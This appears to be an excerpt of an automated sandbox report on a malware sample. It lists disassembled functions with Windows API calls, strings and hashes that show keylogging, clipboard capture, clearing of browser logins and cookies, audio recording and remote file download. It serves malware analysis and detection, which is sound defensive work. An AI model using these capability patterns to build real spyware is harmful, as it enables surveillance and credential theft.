                              • Instruction ID: 0a18f3537a1213b4b5dca9b82f73c842755a7e35c30cee8a650de64661b344da
                              • Opcode Fuzzy Hash: 64774f0173dd2414335a6a01ca4130183aa4f4d30cf83fc1238f67c292a9c67a
                              • Instruction Fuzzy Hash: 0DE0C0B0208345AAC705E775CC95CBF73ADAA94749B50483F7142A20E2EF7C9D49C659
                              Function 0040B8AC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20threadCOMMON
                              Download Yara Rule
                              APIs
                              • TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                              • UnhookWindowsHookEx.USER32 ref: 0040B8C7
                              • TerminateThread.KERNEL32(0040A267,00000000,?,pth_unenc), ref: 0040B8D5
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: TerminateThread$HookUnhookWindows
                              • String ID: pth_unenc
                              • API String ID: 3123878439-4028850238
                              • Opcode ID: 507b53b63eb7c6f10faa5869e7b72cd95082fe0a88c6c54c261be3869f185826
                              • Instruction ID: 1c21f009177841ea8acfe7f5b61a435624369701cc7e40c150536a334dec3301
                              • Opcode Fuzzy Hash: 507b53b63eb7c6f10faa5869e7b72cd95082fe0a88c6c54c261be3869f185826
                              • Instruction Fuzzy Hash: 4AE01272205356EFD7241FA09C988267BEEDA0478A324487EF2C3626B1CA794C10CB5D
                              Function 0040140A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 00401414
                              • GetProcAddress.KERNEL32(00000000), ref: 0040141B
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressHandleModuleProc
                              • String ID: GetCursorInfo$User32.dll
                              • API String ID: 1646373207-2714051624
                              • Opcode ID: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                              • Instruction ID: 65f79b4a2c2aed896b4012a4b0ac893fb7d0ccba54e760513c8834f3bef68171
                              • Opcode Fuzzy Hash: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                              • Instruction Fuzzy Hash: B4B09B70541740E7CB106BF45C4F9153555B514703B105476B44996151D7B44400C61E
                              Function 004014AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                              Download Yara Rule
                              APIs
                              • LoadLibraryA.KERNEL32(User32.dll), ref: 004014B9
                              • GetProcAddress.KERNEL32(00000000), ref: 004014C0
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: AddressLibraryLoadProc
                              • String ID: GetLastInputInfo$User32.dll
                              • API String ID: 2574300362-1519888992
                              • Opcode ID: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                              • Instruction ID: ea73ef4d1088e939c140d9431744cb36a9dcab52d5ea7f3e4bb33043e5d41cbe
                              • Opcode Fuzzy Hash: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                              • Instruction Fuzzy Hash: 5EB092B45C1700FBCB106FA4AC4E9293AA9A614703B1088ABB845D2162EBB884008F9F
                              Function 0044A004 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: __alldvrm$_strrchr
                              • String ID:
                              • API String ID: 1036877536-0
                              • Opcode ID: 4f8832beee02cc7ac8349e43431f1a5ed1ce449240751d3aeed044ff3a2741d2
                              • Instruction ID: 0200e234d7a66e392568480c50467de0d06b46efb2a76a7ba0b74d69ca9a70f2
                              • Opcode Fuzzy Hash: 4f8832beee02cc7ac8349e43431f1a5ed1ce449240751d3aeed044ff3a2741d2
                              • Instruction Fuzzy Hash: 57A166319843869FFB21CF58C8817AEBBA1FF25304F1441AFE9859B382C27D8951C75A
                              Function 00442801 Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                              • Instruction ID: 497cf8d2f4a88fd96e7f98feeb1d24cd381d204b534fd1f3fd6e485e43360072
                              • Opcode Fuzzy Hash: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                              • Instruction Fuzzy Hash: EA413871A00704BFF324AF79CD41B5EBBA9EB88710F10862FF105DB681E7B999418788
                              Function 0040C00C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                              Download Yara Rule
                              APIs
                              Strings
                              • [Cleared browsers logins and cookies.], xrefs: 0040C0E4
                              • Cleared browsers logins and cookies., xrefs: 0040C0F5
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Sleep
                              • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                              • API String ID: 3472027048-1236744412
                              • Opcode ID: f04c9fcfc5d51e830be94f028420677c48269f78a09cd2570410497d2b162b15
                              • Instruction ID: fac43f66edf0589ccdcbb227709f1a337e776f7542e83b73a027453bfa593f46
                              • Opcode Fuzzy Hash: f04c9fcfc5d51e830be94f028420677c48269f78a09cd2570410497d2b162b15
                              • Instruction Fuzzy Hash: 2531C804348380E9D6116BF554567AB7B814E93744F08457FB9C42B3D3D97E4848C7AF
                              Function 0040A529 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0041C551: GetForegroundWindow.USER32 ref: 0041C561
                                • Part of subcall function 0041C551: GetWindowTextLengthW.USER32 ref: 0041C56A
                                • Part of subcall function 0041C551: GetWindowTextW.USER32 ref: 0041C594
                              • Sleep.KERNEL32(000001F4), ref: 0040A573
                              • Sleep.KERNEL32(00000064), ref: 0040A5FD
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Window$SleepText$ForegroundLength
                              • String ID: [ $ ]
                              • API String ID: 3309952895-93608704
                              • Opcode ID: e4ff9062ebc1855ffc8709a41a4aeb88848ac43e96cbaf8abbe5df7ed01e55c0
                              • Instruction ID: 97bd403738d1ca0cb59e80c1fc79ee6201ed0cb329172f4776a94889a39aca56
                              • Opcode Fuzzy Hash: e4ff9062ebc1855ffc8709a41a4aeb88848ac43e96cbaf8abbe5df7ed01e55c0
                              • Instruction Fuzzy Hash: FE119F315043006BC614BB65CC5399F77A8AF50308F40053FF552665E2FF79AA5886DB
                              Function 00443A33 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                              • Instruction ID: 17f232e73e96fb976a24982deb7d35e81c220cd9520ca4ef7e8dcf180de91df6
                              • Opcode Fuzzy Hash: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                              • Instruction Fuzzy Hash: 1301F2B36497067EFA202E786CC1F67220CDF41BBEB34032BB574712D1DA68CE404568
                              Function 00443AB2 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
                              • Instruction ID: 34d970f17befced98e3ca294e9c9a609e5e7bfbb0444a55afbb34e25ce639c56
                              • Opcode Fuzzy Hash: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
                              • Instruction Fuzzy Hash: 0601A2B26096117EFA111E796CC4E27624CDB81BBF325032BF535612D6DA688E014169
                              Function 0041C485 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                              • GetFileSize.KERNEL32(00000000,00000000), ref: 0041C4B2
                              • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C4D7
                              • CloseHandle.KERNEL32(00000000), ref: 0041C4E5
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: File$CloseCreateHandleReadSize
                              • String ID:
                              • API String ID: 3919263394-0
                              • Opcode ID: 3271d486463dfc93c477f1e2c7ad2cd28a4a76e92964f49fc02a4406d9477efd
                              • Instruction ID: d938e931a51b81dfe9e25773ede9364464a286a3a3b97e7b856b7b87d8bf29b3
                              • Opcode Fuzzy Hash: 3271d486463dfc93c477f1e2c7ad2cd28a4a76e92964f49fc02a4406d9477efd
                              • Instruction Fuzzy Hash: 0FF0C2B1245308BFE6101B25ACD4EBB375CEB867A9F00053EF902A22C1CA298C05913A
                              Function 0041C1DD Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                              Download Yara Rule
                              APIs
                              • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                              • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                              • CloseHandle.KERNEL32(00000000), ref: 0041C233
                              • CloseHandle.KERNEL32(00000000), ref: 0041C23B
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CloseHandleOpenProcess
                              • String ID:
                              • API String ID: 39102293-0
                              • Opcode ID: 449f4402ebb840a84195bd3231048093a1951801f3bdb5f0a33f363ac88d28a1
                              • Instruction ID: 502f13a9e38f74389cb09c542eced9ec4ef47df168bad581006c654e14f0d55b
                              • Opcode Fuzzy Hash: 449f4402ebb840a84195bd3231048093a1951801f3bdb5f0a33f363ac88d28a1
                              • Instruction Fuzzy Hash: 53012BB1680315ABD61057D49C89FB7B27CDB84796F0000A7FA04D21D2EF748C818679
                              Function 00439863 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • ___BuildCatchObject.LIBVCRUNTIME ref: 0043987A
                                • Part of subcall function 00439EB2: ___AdjustPointer.LIBCMT ref: 00439EFC
                              • _UnwindNestedFrames.LIBCMT ref: 00439891
                              • ___FrameUnwindToState.LIBVCRUNTIME ref: 004398A3
                              • CallCatchBlock.LIBVCRUNTIME ref: 004398C7
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                              • String ID:
                              • API String ID: 2633735394-0
                              • Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                              • Instruction ID: dcee73c62e3621a690853eebe59cad03ae51e1002f288686f44977c5109bb855
                              • Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                              • Instruction Fuzzy Hash: 18011732000109BBCF12AF55CC01EDA3BBAEF9D754F04511AFD5861221C3BAE861DBA5
                              Function 004193E3 Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: MetricsSystem
                              • String ID:
                              • API String ID: 4116985748-0
                              • Opcode ID: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                              • Instruction ID: 9a44d86f369c7068fc2c949f9b02ed5542bf43da40f6b7222f807aea32733f55
                              • Opcode Fuzzy Hash: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                              • Instruction Fuzzy Hash: DFF0A471B043155BD744EA759C51A6F6BD5EBD4264F10043FF20887281EE78DC468785
                              Function 00438F31 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                              Download Yara Rule
                              APIs
                              • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00438F31
                              • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00438F36
                              • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 00438F3B
                                • Part of subcall function 0043A43A: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0043A44B
                              • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00438F50
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                              • String ID:
                              • API String ID: 1761009282-0
                              • Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                              • Instruction ID: 04dbcd9d80b8837b95b31ffc0e846904d80335f120ca5f78e3accc67d081205e
                              • Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                              • Instruction Fuzzy Hash: 59C04C15080781541C50B6B2210B2AE83461E7E38DFD074DFFCE0571038E4E043B653F
                              Function 00442C5D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                              Download Yara Rule
                              APIs
                              • __startOneArgErrorHandling.LIBCMT ref: 00442CED
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ErrorHandling__start
                              • String ID: pow
                              • API String ID: 3213639722-2276729525
                              • Opcode ID: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                              • Instruction ID: c2a334fe3ab53b67a82bc2a1da04863f7f1ed5e2a579c87dfbcc8ae8a095d349
                              • Opcode Fuzzy Hash: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                              • Instruction Fuzzy Hash: C6516DA1E0420296FB167B14CE4137B2BA4DB40751F704D7FF096823AAEB7D8C859A4F
                              Function 0040B748 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                              • __Init_thread_footer.LIBCMT ref: 0040B797
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: Init_thread_footer__onexit
                              • String ID: [End of clipboard]$[Text copied to clipboard]
                              • API String ID: 1881088180-3686566968
                              • Opcode ID: 1452d6304ce3f0295fff478f129f85fb29fa27eb4ce50424bc2e0dcad400a5b7
                              • Instruction ID: c7bebb0a0a15900a9cc4ffb6e17528162536323bfdf0e6139bd55c50ddf57f74
                              • Opcode Fuzzy Hash: 1452d6304ce3f0295fff478f129f85fb29fa27eb4ce50424bc2e0dcad400a5b7
                              • Instruction Fuzzy Hash: C0219F32A101054ACB14FB66D8829EDB379AF90318F10453FE505731E2EF386D4A8A9C
                              Function 00451B37 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                              Download Yara Rule
                              APIs
                              • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00451D92,?,00000050,?,?,?,?,?), ref: 00451C12
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID:
                              • String ID: ACP$OCP
                              • API String ID: 0-711371036
                              • Opcode ID: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                              • Instruction ID: fc24b39bc158c677debbea649066bee6e1bba6d32f28379ebc1c8ba741b2d3ba
                              • Opcode Fuzzy Hash: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                              • Instruction Fuzzy Hash: BA217D22A4010063DB34CF54C940B9B326ADF50B27F568166ED09C7322F73AED44C39C
                              Function 00449BF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                              Download Yara Rule
                              APIs
                              • GetStdHandle.KERNEL32(000000F6), ref: 00449C3C
                              • GetFileType.KERNEL32 ref: 00449C4E
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: FileHandleType
                              • String ID: q
                              • API String ID: 3000768030-1563958681
                              • Opcode ID: b34b3b4b83b21344277d15047b5fba51ecc245e821c78927fd7bd009bf1ff183
                              • Instruction ID: 67a772f1b96ce562b336c628e562ce1c63ba93f9b2d947f4b03656f810f331b8
                              • Opcode Fuzzy Hash: b34b3b4b83b21344277d15047b5fba51ecc245e821c78927fd7bd009bf1ff183
                              • Instruction Fuzzy Hash: E61160315047524AE7304E3E8CC86677AD5AB56335B380B2FD5B6876F1C638DC82AA49
                              Function 00404FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON
                              Download Yara Rule
                              APIs
                              • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405030
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405087
                              Strings
                              • KeepAlive | Enabled | Timeout: , xrefs: 0040501F
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: LocalTime
                              • String ID: KeepAlive | Enabled | Timeout:
                              • API String ID: 481472006-1507639952
                              • Opcode ID: 94476530adddf729a94900e8ced82c90480f790f78fd79a0466f5c5f7008df8a
                              • Instruction ID: 59903f388a44bacb81d563bcbf5ab321eb0051b597eccb46fab67989b44e7fd4
                              • Opcode Fuzzy Hash: 94476530adddf729a94900e8ced82c90480f790f78fd79a0466f5c5f7008df8a
                              • Instruction Fuzzy Hash: 1D21F2719046405BD710B7259C0676F7B64E751308F40087EE8491B2A6DA7D5A88CBEF
                              Function 0043C0F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: _free
                              • String ID: q
                              • API String ID: 269201875-1563958681
                              • Opcode ID: 02760b80b86df20b895d786181226116df47ae15e5a50630a9576685b8d3801b
                              • Instruction ID: 33e0fe0941749f3336bda6be3c0f63978f5ebcf9e4adac19a04b7d23778c801b
                              • Opcode Fuzzy Hash: 02760b80b86df20b895d786181226116df47ae15e5a50630a9576685b8d3801b
                              • Instruction Fuzzy Hash: A511D371A002104BEF209F39AC81B567294A714734F14162BF929EA2D5D6BCD8815F89
                              Function 0041663B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62sleepfilenetworkCOMMON
                              Download Yara Rule
                              APIs
                              • Sleep.KERNEL32 ref: 00416640
                              • URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 004166A2
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: DownloadFileSleep
                              • String ID: !D@
                              • API String ID: 1931167962-604454484
                              • Opcode ID: 07a7ba679a22719b007f27f942da87136b12813d5d7402b4186b0f1ae2008f5d
                              • Instruction ID: f21b004d79e7af0ef9ad63e4b6518ad07bb10e0138b316cec4f8e9f86784bb19
                              • Opcode Fuzzy Hash: 07a7ba679a22719b007f27f942da87136b12813d5d7402b4186b0f1ae2008f5d
                              • Instruction Fuzzy Hash: C6115171A083029AC714FF72D8969BE77A8AF54348F400C3FF546621E2EE3C9949C65A
                              Function 0041B4EF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON
                              Download Yara Rule
                              APIs
                              • GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: LocalTime
                              • String ID: | $%02i:%02i:%02i:%03i
                              • API String ID: 481472006-2430845779
                              • Opcode ID: 0b58fb712609a629be2860926311a3a1d9782cd388fbf364b696734300abae58
                              • Instruction ID: b0c371a91d376d28eb23a1cf2c2b6b2589463c7c7bf84255da33bc44f247512a
                              • Opcode Fuzzy Hash: 0b58fb712609a629be2860926311a3a1d9782cd388fbf364b696734300abae58
                              • Instruction Fuzzy Hash: 361181714082055AC304EB62D8419BFB3E9AB44348F50093FF895A21E1EF3CDA49C65A
                              Function 0041AD17 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                              Download Yara Rule
                              APIs
                              • PathFileExistsW.SHLWAPI(00000000), ref: 0041AD3C
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: ExistsFilePath
                              • String ID: alarm.wav$hYG
                              • API String ID: 1174141254-2782910960
                              • Opcode ID: 0e1c4e1224622d2e2eba9349cd815abebc3d2b7a1c969d03ea25083f5c27e476
                              • Instruction ID: 1ebdaa4a32a078914063a8122a991a3a49773bb3edac1861de613ef54c78e1f6
                              • Opcode Fuzzy Hash: 0e1c4e1224622d2e2eba9349cd815abebc3d2b7a1c969d03ea25083f5c27e476
                              • Instruction Fuzzy Hash: 7A01F5B064460156C604F37698167EE37464B80319F00447FF68A266E2EFBC9D99C68F
                              Function 0040B051 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 0040B172
                                • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                              • CloseHandle.KERNEL32(?), ref: 0040B0B4
                              • UnhookWindowsHookEx.USER32 ref: 0040B0C7
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                              • String ID: Online Keylogger Stopped
                              • API String ID: 1623830855-1496645233
                              • Opcode ID: 14d91ba3cc0780b58bc46c93ea61c46197eef5bd77683ed78bbf46c7536d2da3
                              • Instruction ID: 2e372e3e3892c4e8816e9c8053feed756abc81e7e35a03d4dadb391bbfa0e77d
                              • Opcode Fuzzy Hash: 14d91ba3cc0780b58bc46c93ea61c46197eef5bd77683ed78bbf46c7536d2da3
                              • Instruction Fuzzy Hash: 0101F5306002049BD7217B35C80B3BF7BA59B41305F40007FE642226D2EBB91845D7DE
                              Function 00449A5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00445888: EnterCriticalSection.KERNEL32(-0006D41D,?,00442FDB,00000000,0046E928,0000000C,00442F96,?,?,?,00445B26,?,?,004482CA,00000001,00000364), ref: 00445897
                              • DeleteCriticalSection.KERNEL32(?,?,?,?,?,0046EB30,00000010,0043C1D5), ref: 00449ABE
                              • _free.LIBCMT ref: 00449ACC
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: CriticalSection$DeleteEnter_free
                              • String ID: q
                              • API String ID: 1836352639-1563958681
                              • Opcode ID: 54980ce14eb4704881cc4366b9e02da215daae199b46963b1b84cecc0170e34b
                              • Instruction ID: d8668749b8f053f3b87a5db4b07a71174a174bb0d30b2be9e7ca2d93a8738622
                              • Opcode Fuzzy Hash: 54980ce14eb4704881cc4366b9e02da215daae199b46963b1b84cecc0170e34b
                              • Instruction Fuzzy Hash: 491161315002149FE720DFA9D846B5D73B0FB04315F10455AE959AB2E6CBBCEC82DB0D
                              Function 004017EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                              Download Yara Rule
                              APIs
                              • waveInPrepareHeader.WINMM(?,00000020,?), ref: 00401849
                              • waveInAddBuffer.WINMM(?,00000020), ref: 0040185F
                              Strings
                              Memory Dump Source
                              • Source File: 0000000C.00000002.622358262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                              Yara matches
                              Similarity
                              • API ID: wave$BufferHeaderPrepare
                              • String ID: XMG
                              • API String ID: 2315374483-813777761
